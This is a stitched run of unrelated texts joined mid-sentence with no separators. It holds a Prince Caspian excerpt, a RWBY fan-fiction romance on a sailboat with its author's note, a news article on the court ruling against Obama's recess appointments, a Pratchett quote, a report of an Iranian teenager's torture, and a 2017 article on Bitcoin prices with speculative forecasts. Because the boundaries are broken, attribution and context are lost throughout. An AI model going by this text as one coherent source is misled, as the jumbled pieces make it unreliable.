"Why, the whole thing," said Edmund. "You know what we were puzzling about last night, that it was only a year ago since we left Narnia but everything looks as if no one had lived in Cair Paravel for hundreds of years? Well, don't you see? You know that, however long we seemed to have lived in Narnia, when we got back through the wardrobe it seemed to have taken no time at all?"
"Go on," said Susan. "I think I'm beginning to understand."
"And that means," continued Edmund, "that, once you're out of Narnia, you have no idea how Narnian time is going. Why shouldn't hundreds of years have gone past in Narnia while only one year has passed for us in England?"
"By Jove, Ed," said Peter. "I believe you've got it. In that sense it really was hundreds of years ago that we lived in Cair Paravel. And now we're coming back to Narnia just as if we were Crusaders or Anglo-Saxons or Ancient Britons or someone coming back to modern England!"
"How excited they'll be to see us——" began Lucy, but at the same moment everyone else said "Hush!" or "Look!" For now something was happening.
There was a wooded point |
to see it, see the affection he has for her exhibiting as a simple embrace and a song for the stars.
'I did my best, it wasn't much
I couldn't feel, so I tried to touch
I've told the truth, I didn't come to fool you
And even though it all went wrong
I'll stand before the Lord of Song
With nothing on my tongue but Hallelujah
Hallelujah.'
Jaune clapped enthusiastically, despite the slightly awkward positioning of his arms as Pyrrha lay on his chest. Pyrrha chuckled, smiling lightly and tucking some of her scarlet hair behind her ear. Before Jaune opened his mouth to say something, he feels Pyrrha begin another song, and then he hears it. With a questioning look in her eyes she looks at him, humming the tune still. Jaune smiles warmly, closing his eyes once more and humming the same tune as Pyrrha, who smiles as well, mimicking him and burrowing further into their embrace.
Neither are sure how long they sing for, silent except for the exchange of songs. Sometimes only one sings, sometimes the other.
They say more to each other in those scant hours under the dazzling night sky than they've ever before.
Day Two.
Pyrrha woke first, initially only aware of the coldness above her, and the warmth below. With a small, delicate yawn, Pyrrha opened her eyes sleepily. Her sleepiness evaporated quickly once she realised the source of her warmth. Jaune was lying on the padded bench below her, his arms wrapped around her shoulders. Pyrrha closed her eyes again, sighing in contentment at the feeling, and the memories of the previous night.
She groaned lowly in annoyance when the feeling of her very full bladder made itself known. Extricating herself delicately she headed to the bathroom, unaware of Jaune himself waking.
She came back to the sight of Jaune stretching, and yawning in his uniquely effeminate manner. He smacked his mouth a few times, squinting against the growing brightness as dawn sped onward.
"Good morning, Jaune." Pyrrha greeted with a small wave.
"Morning Pyr." He said with droopy eyes and smile. "Would you like some coffee?"
"Not as much as you would." She said, amused.
"Mm, ok!" He agreed, apparently not completely lucid. Pyrrha stifled a chuckle. "Milk, no sugar?" He recited vaguely.
"That would be lovely Jaune."
"Just a sec, then." He said, shuffling into the room where he put the supplies. As Jaune rummaged around his bag, he noted idly just how well made his bed was. Lightly ruffled, almost as if someone had just slept atop it and not in it, which was ridiculous given how cool the weather got out at sea during this time of year at night. Pyrrha must have went through a lot of trouble to fix it up considering she was notoriously terrible at bed-making.
Ah well, no one was perfect.
Jaune grasped the large bottle of water, the coffee grounds, and his field-flask. They were simple things, but extremely useful. Meant to carry up to two litres of water, they came with built in filter, and a small burn Dust crystal. The uses for it were many fold, but most often used to unfreeze the liquid when Hunter's were in colder climates or to boil impurities from any water contained within.
He quickly threw in some grounds, poured in the water, and began to run some Aura through the crystal. Immediately it began heating up, and would eventually bring the water to the boil. He went to the icebox, lined with freeze crystals, and grabbed the milk. On his way out he nabbed Pyrrha's own flask for her to drink out of.
"Catch!" He called out to Pyrrha. He lightly tossed her flask, and Pyrrha caught it easily, as she did all things metallic. "Coffee will be done in a minute." He said, shaking his own flask lightly.
"Ah, thanks." She said. "So, what's the plan for today?"
"Whatever you want."
Pyrrha gave him a rather unimpressed look. "You can't think of something for me to do? I haven't ever really been on the ocean before, Jaune."
"Ok, well um... hm." Jaune scrunched his face up in thought. "I swim, read, eat, fish, sing, draw, and well, sail, usually." He listed with a shrug.
"You swim? Is that wise?"
"Of course, it's perfectly safe. The Grimm hate cold water as much as we do. And it's not exactly like there is an excess of negative emotions at the bottom of the ocean. Aquatic Grimm are only found mainland, you should know that."
"I haven't taken Grimm geography yet, Jaune."
"Ah, right, of course."
"Next year I have a few lessons on it, however." She told him with thumbs up.
He returned the thumbs up. "It's incredibly dull." He told her with a dry grin.
"Joy."
"Yup. I'm surprised a man like Dr. Ooblek such an un-energetic subject."
"I'm surprised the man doesn't bleed caffeine." She said with a grin.
"How do you know he doesn't?" He asked with a raised brow.
"Ruby mentioned graciously gifting him one of her pink Beowolf bandaids when he cut his hand on accident at Mountain Glenn."
"Damn. Well there is still Ozpin." Jaune pointed out, shaking his flask lightly as the water reached near boiling point.
"What about him?" Pyrrha asked curiously.
"Well, he's always drinking coffee too." Jaune said, miming holding a mug and taking a sip.
"How do you know he's drinking coffee?" She asked.
"What?"
"How do you know he's drinking coffee?" She repeated.
"Well... It's just a guess. He could be drinking tea." He said, lifting a hand palm up.
"No one knows." Pyrrha informed him with a quirk to her lips.
"Not even Goodwitch?" He commented unsurely.
"Not even her." She informed him. "Apparently it drives her crazy."
Jaune chortled, amused by the image of a Ozpin purposefully frustrating Goodwitch with his mysterious habits. "What about the faunus?" He pointed out. "Some of them have real sharp senses, they could have smelled it."
Pyrrha shook her head with a growing grin. "Not even them. When I mentioned it to Blake she was just as stumped, she can't tell either. Apparently none of them can."
"Seriously?" Jaune asked with a hint of disbelief. "Blake's got some crazy strong faunus traits."
"I wonder how he does it." Pyrrha mused. "Or why."
"Because he's nuts?" Jaune supplied blithely.
"He's... eccentric, not insane." She disagreed.
"Remember how I cheated my way into Beacon?" He asked unnecessarily, but Pyrrha replied with a nod anyway. "He knew what I was doing from the start."
"Shouldn't that give you more faith in him, considering he showed you an appreciable measure himself?" Pyrrha lectured with a raised brow.
"He launched me off a three hundred foot cliff at sixty miles an hour knowing full well that I didn't have a landing strategy, never mind me having my Aura unlocked."
Pyrrha froze, giving Jaune an uneasy glance. "That is a little crazy." She allowed.
"Just a little." He agreed, walking up to her, flask in hand. He poured divided the coffee, leaving both with a sizeable amount of the dark brew. Pyrrha sighed with pleasure as she sipped at her beverage, with Jaune echoing not a few moments later, despite his slight grimace. "Nothing like warm coffee in the morning." He said.
"You don't look particularly pleased with it." She pointed out.
"No honey." He said a tad mournfully. "The one thing I forgot."
"Ah well, at least it's nice and warm."
"True." A silence stretched out between them as both enjoyed the morning air and their first cup of coffee. "It is weird though..." He said thoughtfully, with a slight furrow to his brow.
"What is?" Pyrrha asked him.
"It should've freezing outside last night, but I woke up this morning totally fine."
Jaune looked at Pyrrha curiously as her cheeks gained a definite dusky tint, but dismissed it as he took a sip of coffee.
It wasn't like it was important, anyway.
It was nearing lunch when Pyrrha and Jaune sat on the side of the boat, geared up to fish. Jaune had been getting strange vibes off Pyrrha all morning, his partner had been oddly flustered. But it seemed as if she had calmed down some as they stared out across the rippling waves side by side.
"So, what now?" Pyrrha asked, lifting her fishing pole slightly to help her keep balance as they bobbed slightly on the choppy water.
"Now we wait." Jaune replied simply, stretching his legs out in front of him with a groan.
"Is that all?" Pyrrha asked with a hint of disbelief.
"Fishing is meant to be relaxing, Pyr." Jaune pointed out, perfectly happy to soak in the warmth of the sun.
"...Ok." Pyrrha answered unsurely, returning her attention to her task.
Jaune sat in complete relaxation, almost dozing lazily. Conversely, Pyrrha was immensely focused, tensing at even the slightest movement of her line. As her partner, and Pyrrha being the person whom had unlocked his Aura, he carried a slight level of empathy toward her. So, when he started picking up on her impatience, and intense focus, he opened his eyes to look at her.
"Relax." He told her, shaking his head slightly at her stoic vigil. "It's just fishing."
Pyrrha shot him a look out of the corner of her eye, before visibly taking a breath and easing a measure of tension out of her form. "I've never fished before." She admitted.
"Really?" Jaune asked, not all that surprised. Pyrrha had been pushed hard as a child. It undoubtedly had made her an peerless warrior for her age, but she had been robbed of any semblance of a normal childhood. "Well the whole point is to unwind."
"I thought it was about catching fish?" She said with a slightly raised eyebrow.
"That too." Jaune said with a slight chuckle. "But it's kinda like the meditation Ren makes us do."
"Makes you do, I commit to it voluntarily." Pyrrha said with a small snicker.
"It's not my fault I can't 'empty my mind', I think a lot." He grumbled.
"I'll believe it when I see it." Pyrrha said dryly. Jaune pouted at her, and she laughed, waving him off lightly. "I'm just kidding."
"Yeah, yeah. Like I was saying, just take a moment to enjoy the silence. Oum knows that we won't get any of that at home."
"Or Beacon." Pyrrha pointed out.
"Not with Nora around. Or everyone on team RWBY minus Blake. Or team Sun." Jaune listed, then he hung his head with a groan. "No matter what we do, we won't escape."
Pyrrha snorted rather inelegantly, giving Jaune long suffering look. "You realise this now?"
"...Maybe."
"Well at least your not the last." She mused.
"Who else is in the club?" He asked curiously.
"Weiss, Blake, Velvet, Yatuhashi, Fox, and myself." She told him. "And you, of course."
"We-"
"Oh my!" Pyrrha yelled suddenly as her line gave a rather sharp tug. "Jaune, I think I have something!"
"Sweet!" Jaune exclaimed with excitement, before miming pulling up the rod. "Well, reel it in!"
Pyrrha pursed her lips in concentration, putting all her effort into defeating the foe on end of her line. Jaune cheered her along enthusiastically as she struggled, doing her utmost to catch her very first fish. After a few minutes of intense effort, Pyrrha yanked the line upward. The large, silver fish wriggling on the end of her line burst through the water, sailing through the air. With a victorious cheer Jaune clapped for her as she dropped the fish in the box they had prepared before hand.
"Yes!" She celebrated, cheeks flush with excitement. That had been a lot more fun than she thought it would have been.
"Good catch, partner." He congratulated with a smile, hopping back up onto the edge of the boat. Pyrrha followed, grabbing some more bait to prepare for next attempt.
"I enjoyed that." She beamed at him, still hopping up and down a little due to the energy caused by her excited state.
"Well, you had excellent pole control." Jaune said with a sly smile. Pyrrha froze, before blushing and smacking Jaune on the shoulder.
"Jaune! That- you!" She couldn't find the words, so she settled for smacking him again. Jaune looked bewildered by the turns of events.
"Sorry, I won't joke about your semblance." He mumbled, shifting a little uneasily.
"...What?"
"You know, polarity." He said, stressing the word slightly. Pyrrha's mouth fell into a startled 'oh' of surprise. Jaune looked at her inquisitively, before slowly raising an eyebrow.
"What did you think I was talking about?"
Pyrrha blushed furiously, ducking her and looking forward, pointedly avoiding his gaze.
"You've been spending too much time with Yang." He accused with an amused grin.
Pyrrha's blush deepened, and Jaune knew he had hit the nail on the head.
"Oh, and your grip on that shaft."
Jaune didn't even manage to catch a glimpse of Pyrrha's fishing rod before she'd clubbed him in the back of the head, throwing him into the ocean, laughing all the way down.
"Yeah, we should probably take down the sail." Jaune agreed, shading his eyes and peering in to the distance. A building layer of light-grey clouds could be seen rolling in.
"Did your research say anything about storms?" Pyrrha asked nervously.
"Yeah, but mostly just rain and some light wind." Jaune reassured her. "Don't worry, it isn't the season for storms."
"Oh, well, splendid." Pyrrha said, breathing a sigh of relief. "It's a good thing we've already made dinner, isn't it?"
"It's a good thing one of us learnt how to spell us some fire to cook the fish." Jaune said smarmy grin.
"You were bound to be of use sometime." Pyrrha said blandly.
"Ouch." Jaune winced, both physically and audibly. "How cold, from my own partner, no less!" He mourned dramatically.
"Do you know what else is cold? Getting soaked during winter in the middle of the ocean." Pyrrha said, gripping some canvas and beginning the laborious process of furling it away safely.
"Right!" Jaune agreed, suddenly remembering the oncoming storm. Ten minutes later, the sails had been successfully packed away. Both Jaune and Pyrrha were sweating, having pushed themselves to get the work down in a flurry, neither wanted to get caught in the rain.
"Just in time." Pyrrha murmured, as the rain started a to beat a steady tattoo on the deck, some weak droplets splashing against her skin. Jaune acknowledged her statement with a grunt, pulling the last rope knot taut with a heave.
"Let's get inside." Jaune said, sweeping past her and heading for the small cabin. Pyrrha followed after him, the two still warm foil packets of their dinner in hand. "Welcome to my humble abode!" Her friend said grandiosely as he stepped into his small bedroom. Pyrrha laughed faintly, sliding past Jaune to sit on the bed, putting down their dinners as she did so. She grimaced when she smelt her clothes. After their impromptu swimming session - clothes and all - this afternoon, she'd not changed. She was mostly clean from the swim, but did not relish the the thought of staying in her funky gear.
Pyrrha gave Jaune a considering look, before frowning at her bag. With an almost imperceptible nod she steeled her nerves. "Jaune, do you mind if I get changed?"
He gave her a strange look, before shaking his head slowly. "Of course not Pyr. I'll just, uh - well I'll just be... here." He said lamely as he turned round to face the corner of the room, away from Pyrrha. She gave him a fond look he was entirely unaware of, then moved to her bag. She was quick, the clothes she had picked out were simple, she might trust Jaune but that didn't mean she wanted to extend the slightly awkward experience more than she had to.
Jaune was focusing intently on the wall in front of him, and not the mostly undressed, absolutely gorgeous woman behind him, no sir. Even as the boat rocked unexpectedly - probably due to a largish wave - and a warm weight collided against his back with an 'eep', he still wasn't thinking of Pyrrha in her underwear. "Are you alr-" No, Jaune wasn't thinking much as he turned around, ready to help his partner, and was confronted by her clad only in a bra and panties. In fact his mind was all but blank, sputtering out like a candle in front of a tornado in what could only be described as hormonal overload.
Pyrrha could feel her face heating up as Jaune froze in front of her, eyes going wide. If it wasn't for the way his body tensed, she would have dismissed it as shock causing the dilation of his eyes but... No, it definitely wasn't shock. Well, maybe a little shock, but she would have to be blind not to see the desire in his stare. She would be lying if the thought didn't send a trill of excitement up her spine, but she couldn't get ahead of herself.
"Jaune." She said, trying to get his attention. Her lip twitched in amusement, even as she felt a tad embarrassed, and she tried again. "Jaune." She uttered more forcefully, snapping the Arc out of his stupor.
"Oh - oh!" He said, recognition flaring across his features, only to be replaced by horror as he spun around, facing away from her. "Oh dust, Pyr, ah- sorry!" He stuttered, standing ramrod straight.
Pyrrha laughed lightly, slipping the last of her nightclothes on, a red tee shirt and sweatpants. "It's ok, I'm dressed."
Instantly Jaune turned around, falling to his knees, bowing his head, and raising clasped hands in supplication. "I'm so sorry! Forgive me!"
Pyrrha laughed a bit harder, waving her hands in front of her face. "Really, it's ok." She told him.
"I didn't see anything... well, I did. I mean, what I did see was... but it wasn't like I was looking-"
"Jaune." Pyrrha said, laughing harder than ever. "S'fine." She said in between breaths.
Jaune looked up, and realised Pyrrha was laughing. He was torn between being abashed and pleased that Pyrrha was finding the situation funny. "How about dinner?" He offered as a distraction.
"Of course." Pyrrha agreed, still stifling a few bouts of giggles. She took the dinner Jaune offered with a thanks, sitting across him on the bed. The foil contained one of the fish they had caught earlier, baked with salt and herbs, still steaming hot. She looked up, and caught Jaune giving her a bright eyed smile, lifting his own fish.
"Bon appetite." He said with a wink. Pyrrha didn't need any more prompting, taking a piece of fish with her fingers and popping it into her mouth. She made a satisfied sound that made Jaune grin and blush in equal measure.
"So, why don't you -mm, this a lovely! - tell me about your family?" She prompted with a smile. Jaune's face lit up, and he made a delighted sound before he popped a large chunk of fish in his mouth. He then lifted a hand to stall Pyrrha, diving into his bags once he had put his fish down.
"Aha!" He declared, lifting his electronic scroll.
"What are you doing?" She asked in bemusement, staring at him and chewing slowly.
"Introducing you to the family." Jaune said warmly, sitting back on the bed and moving up next to Pyrrha. "This is Lucille, and she is the youngest." He said lovingly, showing Pyrrha a picture of an adorable little girl in dirty denim overalls with sea green eyes, and neon pink hair in two messy pigtails. "She loves getting piggy-back rides, so if she jumps on you, I just thought I'd warn you. Oh and..."
So Pyrrha sat, even as the sky grew dark, ignoring the storm outside their world of pictures and stories. The love Jaune held for his family was more than readily apparent, and Pyrrha felt her heart swell. She laughed until she cried, sometimes the opposite, but she truly enjoyed hearing about each of his sisters, his mother and father. They ate and told stories of their childhood, even if Jaune supplied many more than she did, lit only by the dull glow of the scroll.
It wasn't until much later that she noticed that she was dead tired. Her yawn also alerted Jaune to this fact, as it wasn't the most subtle of actions. "Wow, it's getting pretty late, isn't it?" Jaune realised, staring at the clock on his scroll display. He frowned, staring at his door. "It's still raining."
"Yes, it is." Pyrrha concurred, giving him a questioning look despite her droopy eyes. Jaune shifted, leaning over the edge of the bed, and grabbing the thick blanket beneath.
"I was going to use this," He lifted the blanket indicatively. "to sleep outside."
"Why?" She asked with a puzzled expression.
"This is the only bed, Pyrrha, and there isn't space on the floor." He said pointing to the distinct lack of floor space. "So I was going to use this to keep me warm. But it won't do me much good in the rain."
"Ah." She said simply, understanding the situation.
Now Jaune might not be the most perceptive person, and maybe it Pyrrha's tiredness that left her expression so unguarded, but his partner's worried expression was the last piece of a puzzle he'd unconsciously been solving all day. The reason why he had woken completely warm, her strange frame of mind in the morning, and the extremely neat bed...
Pyrrha had fallen asleep with him last night, she hadn't slept inside at all. And she hadn't scolded him about it...
"Do you mind if we share the bed, Pyr?" He asked boldly, but secretly watching her like a hawk.
"...I'd really like that." She told him sleepily. And that was all the confirmation he needed. Pyrrha had always been perfectly forthcoming when she was nearing sleep, an odd quirk of hers.
Climbing into the tiny bed with someone else was an awkward experience. Jaune wasn't a small man, and Pyrrha herself was much taller than the average woman, but in the end they managed. It was a mess of shuffling, of awkward pauses, and uncomfortable positions, but it worked. Pyrrha lay facing Jaune, curled up slightly with her head against his chest. She wasn't about to complain, as even in her half asleep state she felt deeply content with her love so close.
Jaune had to restrain himself from sighing with happiness more than once, which would wake Pyrrha up, and be ridiculously sappy, even for him. But this was something that he'd wanted.. well he'd wanted it for quite some time now. It was an experience for him. Pyrrha had always been his rock, absolute and unshakeable, a pillar of support during his darkest hours. She protected him, shielded him, and he couldn't be more grateful.
But as she lay curled up into his side, sleeping quietly, he felt he really enjoyed being the protector. Even if it was something as simple as holding her and warding off the cold, it made him happy. She looked so small, small and peaceful. It was something that Jaune could get used to, he thought as he fell asleep.
And so they slept sharing the simple comfort of each other's warmth, at peace despite the storm of the world that surrounded them.
Day Three.
Love was difficult. It always had been such for Pyrrha. She didn't have much experience with it.
Her parents said they loved her, but even as they trained on her birthdays - often forgetting the importance of the occasion altogether - she began to doubt that. Growing up, she'd received more than a few declarations of love from boys she hardly knew. At first it was flattering, but eventually she noticed how looked at her with those hungry, shallow eyes. And people would often rave about how her fans loved her, but how could they if they didn't even know her?
It was an elusive thing, an emotion she yearned to understand more intimately. More honestly.
And Jaune Arc was nothing if not honest... Beacon entry papers aside.
She could see it perfectly clearly now, that her worries had been for naught. She'd been so blinded by what she expected to see from him, grand gestures like playing a guitar as an invite to the dance as he did for Weiss that she completely missed the things that mattered. What he had for Weiss had been infatuation - something she was familiar with - but what he had shown her...
It was in the light touches, the way he conveyed his support by simply being there. It was in the innumerable kindness he extended almost subconsciously, constantly caring in his own goofy way. It was in his determination to improve himself for the sake of his team, for her. Most of all it was the tenderness in his blue eyes that she'd somehow never been aware of.
Jaune watched patiently as Pyrrha stared at him. He suppressed his excitement when he felt her hand twine within his own, her slender fingers threading neatly between the gaps. He could see the building recognition in her sparkling eyes as she came to the same conclusion he had the night before. She could take her time, seeing as she didn't have the advantage of a sleep deprived, uninhibited partner to confirm her suspicions.
And they lay together, slowly coming together more closely. His arm came to rest behind her as she moved closer. Her leg folded atop his next. He smiled softly when she lifted a deceptively delicate hand to his face, cupping his cheek gently. She smiled back when he unlaced their hands to reciprocate. Nothing was said, as feelings were explored and displayed through their simple actions.
It was a delicate thing, a declaration of words unspoken. A promising silence sealed by fleeting touches and gentle eyes.
Their lips met slowly, tentatively. They were almost perfectly still, save for their intimate joining. Jaune relaxed when Pyrrha deepened the kiss, tilting her head back to give him better access. Pyrrha relaxed when Jaune pulled her close, matching her increased affections just as she'd hoped he would. She felt almost dizzy, fit to burst with joy and relief. He was suppressing the urge to smile against her mouth, his own giddiness fighting against his desire to continue the kiss.
Eventually they parted a little, noses touching almost imperceptibly, two pairs of eyes meeting each other in unison.
"I love you." Jaune said simply, voice quiet, but laced with deep devotion.
"And I, you." Pyrrha breathed passionately, sparkling green eyes slightly wet with unshed tears.
Their next kiss was equally soft, and even more sweet. They kissed, and Jaune threaded his hands through Pyrrha's hair as she ran her own hands up and down his side. The kiss ended when they both realised they were smiling, unable to stop themselves. Pyrrha laughed, nuzzling Jaune's neck and closing her eyes.
"How long?" She asked him, reaching out and grabbing hold of his hands.
"I don't know." He said honestly. "It feels like it's always been like that for me. You?"
"Since the beginning." Pyrrha admitted.
"The beginning?" Jaune queried, looking down at her with a questioning set to his face.
"Initiation." Pyrrha said. "Well, it started then." She clarified.
"I guess it did." Jaune murmured into her hair. "That's a long time."
"Yes..." Pyrrha agreed. In a flurry of movement she flipped over, now straddling atop a wide eyed Jaune, pinning his hands above his head. She leaned in, dipping her head forward, darkening her features with a curtain of scarlet hair. "You have a lot to make up for." She purred lowly, whispering against his lips.
"Yes ma'am." Jaune said breathily.
"Fantastic." She said as she claimed his lips in a ferociously hungry kiss. "I've had a lot of time to think about this."
Jaune Arc's father, Johanne Arc, was an excellent hunter. Many would claim it was the Arc blood shining true, a testament to the powerful legacy of his line. This was possible. Personally, he would claim that he worked his ass off for thirty years to get where he was today.
You learn a lot of things over the years. The best hunters, which he most assuredly numbered as one of, had vast skill sets borne of their many varying experiences. And if there was one thing that he'd come to notice about human behaviour - faunus too - was that everyone had patterns. A major deviation from expected results was almost always due to outside circumstances or stimuli.
His son, Jaune, was an amazing sailor. And this wasn't just parental pride speaking. He'd honestly expected the young man to forgo the hunting lifestyle all together and take it up as a career. He might have even joined the Navy. He'd been surprised and delighted when his son had told him otherwise. But he digressed, his son was an excellent sailor.
So it was suspicious when his son, master navigator, landed ten kilometres off his usual target. It was baffling for even a mediocre sailor to make such a large error on such a short trip, never mind his Jaune doing so. He was also late - which Johanne supposed could be due to the weather - but something in his old bones told him otherwise.
Johanne spotted them first, among the various other people setting up at the docks. The bright mop of unruly blonde hair so distinctive of the Arc line, that could only be his Jaune. The boy had grown in the last year, Johanne noted with pride. The tall girl with crimson hair and clever green eyes must be Pyrrha, his partner. Hmm... she seemed a good sort, if he was to guess. He was gut feelings tended to be rather accurate.
A flash of... something, caught Johanne's eye. He narrowed his gaze, subtly channeling Aura into his eyes to enhance his vision. Johanne had seen more than few fights in his time and thus more than a few injuries. Those bruises on Jaune's neck seemed... odd.
And was the girl limping?
...Oh.
"JAUNE MY BOY, YOU'VE FINALLY BECOME A MAN! I'M SO PROUD!"
Jaune and Pyrrha could only stand in mortified silence as Johanne Arc's distinctive bass voice bellowed across the docks, audible to anyone within at least a kilometre. More than one curious head swung round to stare at the dual hunter's in training in question.
As they stood, Jaune going pale as a sheet as his far too jocular father bounded toward them, and Pyrrha blushed a crimson so profuse she outdid her hair, she realised that she was right to dread meeting Jaune's family...
For all the wrong reasons.
FAVOURITE~REVIEW~FOLLOW!
So, what do you think? I liked it. In fact, I like it so much I plan to continue it sometime... Probably a long time from now. Depends on how much I want to do 'Christmas Arc' thing.
I have plans for Johanne. He's going to be Alex Louis Armstrong from Fullmetal reincarnated, but with fatherly pride. It'll make for a fun character, I think.
Oh, and the lyrics I used earlier come from Leonard Cohen's 'Hallelujah'. I imagined them singing it more on the lines of Jeff Buckley's rendition however.
Cheers!White House Press Secretary Jay Carney discussed Friday’s ruling that President Obama violated the constitution when he bypassed the Senate last year to fill vacancies on a labor relations panel. Carney says the White House “strongly disagrees” with the decision. (The Washington Post)
White House Press Secretary Jay Carney discussed Friday’s ruling that President Obama violated the constitution when he bypassed the Senate last year to fill vacancies on a labor relations panel. Carney says the White House “strongly disagrees” with the decision. (The Washington Post)
President Obama exceeded his constitutional authority by making appointments when the Senate was on a break last year, a federal appeals court ruled Friday. The court’s broad ruling would sharply limit the power that presidents throughout history have used to make recess appointments in the face of Senate opposition and inaction.
A unanimous three-judge panel of the U.S. Court of Appeals for the District of Columbia Circuit flatly rejected the Obama administration’s rationale for appointing three members of the National Labor Relations Board (NLRB) while the Senate was on a holiday break.
Chief Judge David B. Sentelle sharply criticized the administration’s interpretation of when recess appointments may be made, saying it would give the president “free rein to appoint his desired nominees at any time he pleases, whether that time be a weekend, lunch, or even when the Senate is in session and he is merely displeased with its inaction.” He added, “This cannot be the law.”
The issue seems certain to end up before the Supreme Court, which ultimately could clarify a president’s authority to fill his administration and appoint federal judges when a minority of the Senate blocks consideration of his choices.
Although recess appointments have been made throughout the nation’s history, they have been more commonly made by modern presidents who face partisan opposition that has made it hard for nominees to even receive a vote in the Senate.
Additionally, Friday’s decision casts doubt on hundreds of decisions the NLRB has made in the past year, ranging from enforcement of collective-bargaining agreements to rulings on the rights of workers to use social media.
The ruling also raises questions about the recess appointment of former Ohio attorney general Richard Cordray to head the fledgling Consumer Financial Protection Bureau and about the actions taken by the agency during his tenure, including major new rules governing the mortgage industry. Obama named Cordray at the same time as the NLRB nominees, and his appointment is the subject of a separate lawsuit in D.C. federal court.
The White House criticized the court ruling. “The decision is novel and unprecedented, and it contradicts 150 years of practice by Democratic and Republican administrations,” White House press secretary Jay Carney told reporters Friday. “We respectfully but strongly disagree with the ruling.”
Presidents from both parties have made hundreds of recess appointments when the Senate has failed to act on nominations. Ronald Reagan holds the record with 243. Obama’s predecessor, George W. Bush, made 105, and it was during his term that Senate Democrats began holding pro-forma sessions, some lasting less than a minute, when the Senate went on break. They contended that that kept the Senate in session and did not allow Bush to make recess appointments.
Republicans took up the practice when Obama was elected. But Obama decided to challenge it in January 2012, when the Senate was on a 20-day holiday but holding pro-forma sessions every three business days to block presidential action.
Obama moved ahead with the nomination of Cordray, who many Republicans considered overly antagonistic toward business, and three NLRB members — Sharon Block, Terence F. Flynn and Richard F. Griffin Jr.
At the time, the NLRB had only two members and was thus unable to take any official action. Some Republicans were worried that the board under Obama would be too pro-union.
Obama said he had the authority under the Constitution’s recess appointments clause, which grants power for such appointments “during the Recess of the Senate,” when senators are unavailable to provide their advice and consent.
Sentelle, joined by Judges Karen LeCraft Henderson and Thomas B. Griffith, said that the Constitution’s reference to “the Recess” means that appointments are allowed only during the recess between sessions of the Senate, not when the Senate is simply on a break. It was not up to the president to decide what constitutes a recess, Sentelle said.
The ruling noted that another federal appeals court has read the Constitution differently, which adds to the likelihood the Supreme Court will have to settle the issue.
Sentelle and Henderson went where apparently no other court has gone. They said that the president has the authority to make appointments only to vacancies that arise during a recess, which would drastically limit a president’s ability to make use of the recess appointment power.
A senior administration official who was granted anonymity to discuss White House legal strategy said it was unlikely that the White House would ask the full D.C. Circuit court to take up the case. The official said it might be better to wait for other courts around the country to rule on similar cases and then seek Supreme Court review.
Senate Republicans said the decision was a victory for the separation of powers.
“Today’s ruling reaffirms that the Constitution is above political party or agenda, despite what the Obama administration seems to think,” said Sen. Orrin G. Hatch (R-Utah).
Some Democrats said the ruling will encourage Senate Republicans to block Obama’s nominees by refusing to allow them to come to a vote.
“Today’s circuit court decision is not only a radical departure from precedent, it ignores the fact that President Obama had no choice but to act,” said Sen. Tom Harkin (D-Iowa). Harkin said that “throughout his presidency, Republicans have employed unprecedented partisan delay tactics and filibusters” to block Obama’s nominees.
The case was brought by Noel Canning, a company in Washington state that challenged an NLRB ruling by saying the three Obama board members were not properly appointed. The court’s ruling on Noel’s behalf leaves hundreds of decisions in which the three members have participated open to court challenge. Block and Griffin continue to serve. Flynn resigned last year.
NLRB Chairman Mark Gaston Pearce said the board, which now has only three members, will continue with business as usual.
“It should be noted that this order applies to only one specific case, Noel Canning, and that similar questions have been raised in more than a dozen cases pending in other courts of appeals,” Pearce said in a statement on the board’s Web site.
But labor unions were alarmed. “Ch |
: sentimental, with dirty bits.
As I recall, they used to sing it after battles,’ he said. ‘I’ve seen old men cry when they sing it,’ he added.
Why? It sounds cheerful.’
They were remembering who they were not singing it with, thought Vimes. You’ll learn. I know you will.”
–Night Watch, Terry PratchettERBIL — A 17-year-old boy from the Kurdish populated town of Saqiz in Iran was tortured severely by the Iranian intelligence service over having a tattoo of a late Kurdish leader, a Kurdish human rights website reported on Saturday.
Taha Hamzeyi, who had a tattoo of the late Dr. Abdurrahman Ghassemlou on his neck, was handed back to his family after ten days of torture by the Iranian intelligence agents, according to Hangaw website.
The source added that the boy was arrested at the car workshop he worked for and cited the boy's father as saying that the officials have warned him that this torture was only to "make him a lesson" for others.
A close relative of Hamzeyi told Hangaw that the boy has been beaten so severely that his body has turned black and he's incapable of moving.
A number of civil society organizations expressed their concern over the arrest and torture of the teenager.
Ghassemlou was the leader of the Kurdistan Democratic Party of Iran (KDPI) from 1973 until 1989 when he was assassinated. Finger of accusation is mainly pointed at agents of the Islamic Republic of Iran for the assassination of the leader.by Tanzeel Akhtar
Decentralized currency rallied last week, and on Friday, September 1, hit $5,000 per BTC, a new milestone for the volatile digital currency.
So far this year, we have seen abnormal fluctuations of BTC/USD, ranging from $1,800 to $5,000. As of this writing the BTC is trading at $4,061.7, in the wake of yesterday's ban by China of initial digital currency offerings. However, the currency appears to be heading higher.
BTCUSD Daily
As Bitcoin continues to attract more interest and additional investors, there are a number of things worth questioning. What's driving the price and what events should one be aware of when investing in BTC? Is BTC in bubble territory? How will regulatory changes impact cryptocurrencies?
Ted Moskovitz, a former SEC lawyer and the founder of DecentraNet, says Bitcoin will surely get much larger before the bubble, if indeed there is one, pops.
“While many view Bitcoin’s new all-time high as an indication of a bubble, this is simply not the case, and we are sure to see Bitcoin’s price rise to between $7,600-$10,000 by year’s end.” explains Moskovitz.
Forex markets see an average daily volume of over $5 trillion. If Bitcoin’s total market cap reached equivalence to one day of forex trading, explains Moskovitz, it would place the value of a single Bitcoin in the ballpark of $250,000. “If you prefer to think of Bitcoin as a commodity, then is a good baseline for comparison," he adds. "Right now the global gold market stands at about $6.3 trillion.”
Moskovitz notes:
“It is estimated that only 10 million individuals had Bitcoin accounts at the start of this year—that’s.001% of the world’s population. This shows us that Bitcoin is still in a nascent phase, and as more and more people learn about it and more and more name-brand celebrities (e.g., Ashton Kutcher, John Cena, Floyd Mayweather) tweet about it, we are going to see adoption rise.”
There are virtual issues to be aware of, such as the number of Bitcoin currently available. Matthew Gertler, senior analyst and counsel at Digital Asset Research, explains that there will only be 21 million Bitcoin available. Currently, approximately 16.5 million exist, but experts estimate that at least one million coins have been lost forever. Says Gertler:
“This and Bitcoin’s other uses, such as store of value, put downward pressure on the tradeable supply. Given the limited supply and potential growth described above, a supply and demand analysis suggests that Bitcoin’s price may not be so outlandish and may still have room to grow.”
Another advancement for Bitcoin: we are beginning to see the skeptics reconsider their positions, with some starting to come on board the cryptocurrency train. At the beginning of June, American businessman and TV personality Mark Cuban tweeted that he believed Bitcoin was in a bubble.
